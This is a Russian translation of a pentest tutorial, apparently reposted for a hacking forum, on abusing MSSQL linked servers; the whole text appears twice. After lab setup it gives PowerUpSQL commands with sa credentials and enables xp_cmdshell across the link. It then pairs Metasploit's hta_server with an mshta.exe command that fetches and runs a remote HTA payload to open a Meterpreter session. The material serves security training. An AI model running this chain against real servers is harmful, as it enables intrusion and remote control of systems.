Эта статья - еще одно дополнение к нашей серии MSSQL для пентестеров. В этой статье мы узнаем, как создать связанный сервер и использовать его.
Введение в связанные серверы
Связанный сервер действует как мост между двумя серверами. Посредством ссылки база данных сервера может просматриваться/совместно использоваться/редактироваться двумя или более серверами, имеющими доступ к указанной базе данных. Данные из таблиц можно объединять и запрашивать через них. Связанные серверы предназначены для приложений, которым требуется большая гибкость в отношении хранения и извлечения данных. Независимо от того, использует ли приложение параллельную обработку, случайные запросы или соединения между несколькими файлами Microsoft Access, связанный сервер обеспечивает лучшую платформу для гибкой разработки приложений. Данные из нескольких источников могут быть добавлены в одну таблицу или добавлены к существующим данным. Вы можете использовать связанный сервер вместо обычной таблицы, как если бы вы делали копию существующей таблицы базы данных. Через связанный сервер можно сделать следующее:
- Контролировать планы запросов
- Изменять тип данных столбца
- Оптимизировать запросы на удаленном сервере
- Изменять план для локальной таблицы
- Получать доступ к данным в удаленной таблицы
- Удалять объекты в локальной базе данных
- Изменять сервер, используемый для доступа к локальным таблицам
- Повторно подключиться к линк-серверу
- Используйте реплицированные параметры
- Разрешать удаленные обновления
Настройка лабы
Сначала мы настроим сервер ссылок. Когда установлен сервер MSSQL, сервер по умолчанию создается сам по себе. Но нам нужен другой сервер, чтобы мы могли связать их между собой. Итак, чтобы создать другой сервер, запустите процесс установки и выберите New SQL Server Stand-alone installation or and add features to an existing installation, как показано на изображении ниже:
Затем нажмите кнопку "Далее ", как показано на изображении ниже:
В следующем окне диалогового окна выберите "Выполнить новую установку SQL Server 2016 ", а затем нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне выбора функции выберите функции, которые вы хотите установить, и укажите путь к вашему экземпляру. После этого нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне конфигурации экземпляра укажите имя сервера и нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне "Конфигурация сервера " убедитесь, что запуск выполняется автоматически, а затем нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне "Конфигурация ядра СУБД " выберите "Смешанный режим " в разделе "Режим проверки подлинности " и укажите пароль для своего сервера. Нажмите кнопку "Далее ", как показано на изображении ниже:
Нажмите кнопку "Закрыть ", так как установка завершена; как показано на изображении ниже:
Теперь, чтобы подключиться к серверу, выберите опцию <Browse for more…> в раскрывающемся меню Authentication, как показано на изображении ниже:
Выберите свой сервер и нажмите кнопку ОК, как показано на изображении ниже:
Теперь, как вы можете видеть на изображении ниже, у нас есть два сервера.
Теперь перейдите на сервер → Объекты сервера → Связанные серверы. Щелкните правой кнопкой мыши связанные серверы и выберите в раскрывающемся меню пункт "Новый связанный сервер…", как показано на изображении ниже:
В опции "Связанный сервер" укажите имя сервера, который вы хотите связать. В поле "Тип сервера" выберите "Другой источник данных". Выберите Microsoft OLE DB Provider из SQL Server в раскрывающемся меню Provider. Укажите сервер по умолчанию в качестве источника данных и укажите имя базы данных в Каталоге. Наконец, нажмите кнопку ОК, как показано на изображении ниже:
В параметрах сервера убедитесь, что RPC и RPC Out верны, как показано на изображении ниже:
На вкладке "Security " укажите имя пользователя и пароль для вашего сервера по умолчанию, затем нажмите кнопку "ОК", как показано на изображении ниже:
После всего этого будет создан ваш связанный сервер, как показано на изображении ниже:
Эксплуатация сервера
Разведка
Теперь наш сервер ссылок готов. Как злоумышленник, мы ничего не знаем о сервере. Итак, чтобы провести разведку сервера, мы будем использовать PowerUpSQL и его следующую команду:
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
Как вы можете видеть на изображении выше, у нас есть имя экземпляра, имя связанного сервера и имя каталога, а также другая полезная информация.
Выполнение кода
Теперь для удаленного доступа к связанному серверу мы будем использовать PowerUpSQL и Metasploit. Эти два инструмента оказались лучшими инструментами для атаки на серверы MSSQL.
Перед тем, как развернуть эти инструменты, мы можем перейти к фfacets>surface area configuration и подтвердить, что XPCmdshell отключен, как показано на изображении ниже:
Теперь мы включим XPCmdshell, используя следующую команду PowerUpSQL:
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"
Теперь, когда XPCmdshell включен, мы будем использовать Metasploit для генерации URL-адреса с эксплойтом hta_server, и для этого воспользуемся следующим набором команд:
use exploit/windows/misc/hta_server
set srvhost eth0
exploit
У нас есть URL-адрес. Теперь мы выполним этот URL-адрес через PowerUpSQL, чтобы у нас был сеанс Meterpreter. Чтобы развернуть указанный URL, используйте следующую команду:
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"
После успешного выполнения команды у нас будет сеанс meterpreter, как показано на изображении ниже:
Таким простым способом можно использовать линковый-сервер и передать сеанс злоумышленнику.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-abusing-linked-database/
Введение в связанные серверы
Связанный сервер действует как мост между двумя серверами. Посредством ссылки база данных сервера может просматриваться/совместно использоваться/редактироваться двумя или более серверами, имеющими доступ к указанной базе данных. Данные из таблиц можно объединять и запрашивать через них. Связанные серверы предназначены для приложений, которым требуется большая гибкость в отношении хранения и извлечения данных. Независимо от того, использует ли приложение параллельную обработку, случайные запросы или соединения между несколькими файлами Microsoft Access, связанный сервер обеспечивает лучшую платформу для гибкой разработки приложений. Данные из нескольких источников могут быть добавлены в одну таблицу или добавлены к существующим данным. Вы можете использовать связанный сервер вместо обычной таблицы, как если бы вы делали копию существующей таблицы базы данных. Через связанный сервер можно сделать следующее:
- Контролировать планы запросов
- Изменять тип данных столбца
- Оптимизировать запросы на удаленном сервере
- Изменять план для локальной таблицы
- Получать доступ к данным в удаленной таблицы
- Удалять объекты в локальной базе данных
- Изменять сервер, используемый для доступа к локальным таблицам
- Повторно подключиться к линк-серверу
- Используйте реплицированные параметры
- Разрешать удаленные обновления
Настройка лабы
Сначала мы настроим сервер ссылок. Когда установлен сервер MSSQL, сервер по умолчанию создается сам по себе. Но нам нужен другой сервер, чтобы мы могли связать их между собой. Итак, чтобы создать другой сервер, запустите процесс установки и выберите New SQL Server Stand-alone installation or and add features to an existing installation, как показано на изображении ниже:
Затем нажмите кнопку "Далее ", как показано на изображении ниже:
В следующем окне диалогового окна выберите "Выполнить новую установку SQL Server 2016 ", а затем нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне выбора функции выберите функции, которые вы хотите установить, и укажите путь к вашему экземпляру. После этого нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне конфигурации экземпляра укажите имя сервера и нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне "Конфигурация сервера " убедитесь, что запуск выполняется автоматически, а затем нажмите кнопку "Далее ", как показано на изображении ниже:
В диалоговом окне "Конфигурация ядра СУБД " выберите "Смешанный режим " в разделе "Режим проверки подлинности " и укажите пароль для своего сервера. Нажмите кнопку "Далее ", как показано на изображении ниже:
Нажмите кнопку "Закрыть ", так как установка завершена; как показано на изображении ниже:
Теперь, чтобы подключиться к серверу, выберите опцию <Browse for more…> в раскрывающемся меню Authentication, как показано на изображении ниже:
Выберите свой сервер и нажмите кнопку ОК, как показано на изображении ниже:
Теперь, как вы можете видеть на изображении ниже, у нас есть два сервера.
Теперь перейдите на сервер → Объекты сервера → Связанные серверы. Щелкните правой кнопкой мыши связанные серверы и выберите в раскрывающемся меню пункт "Новый связанный сервер…", как показано на изображении ниже:
В опции "Связанный сервер" укажите имя сервера, который вы хотите связать. В поле "Тип сервера" выберите "Другой источник данных". Выберите Microsoft OLE DB Provider из SQL Server в раскрывающемся меню Provider. Укажите сервер по умолчанию в качестве источника данных и укажите имя базы данных в Каталоге. Наконец, нажмите кнопку ОК, как показано на изображении ниже:
В параметрах сервера убедитесь, что RPC и RPC Out верны, как показано на изображении ниже:
На вкладке "Security " укажите имя пользователя и пароль для вашего сервера по умолчанию, затем нажмите кнопку "ОК", как показано на изображении ниже:
После всего этого будет создан ваш связанный сервер, как показано на изображении ниже:
Эксплуатация сервера
Разведка
Теперь наш сервер ссылок готов. Как злоумышленник, мы ничего не знаем о сервере. Итак, чтобы провести разведку сервера, мы будем использовать PowerUpSQL и его следующую команду:
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
Как вы можете видеть на изображении выше, у нас есть имя экземпляра, имя связанного сервера и имя каталога, а также другая полезная информация.
Выполнение кода
Теперь для удаленного доступа к связанному серверу мы будем использовать PowerUpSQL и Metasploit. Эти два инструмента оказались лучшими инструментами для атаки на серверы MSSQL.
Перед тем, как развернуть эти инструменты, мы можем перейти к фfacets>surface area configuration и подтвердить, что XPCmdshell отключен, как показано на изображении ниже:
Теперь мы включим XPCmdshell, используя следующую команду PowerUpSQL:
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"
Теперь, когда XPCmdshell включен, мы будем использовать Metasploit для генерации URL-адреса с эксплойтом hta_server, и для этого воспользуемся следующим набором команд:
use exploit/windows/misc/hta_server
set srvhost eth0
exploit
У нас есть URL-адрес. Теперь мы выполним этот URL-адрес через PowerUpSQL, чтобы у нас был сеанс Meterpreter. Чтобы развернуть указанный URL, используйте следующую команду:
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"
После успешного выполнения команды у нас будет сеанс meterpreter, как показано на изображении ниже:
Таким простым способом можно использовать линковый-сервер и передать сеанс злоумышленнику.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-abusing-linked-database/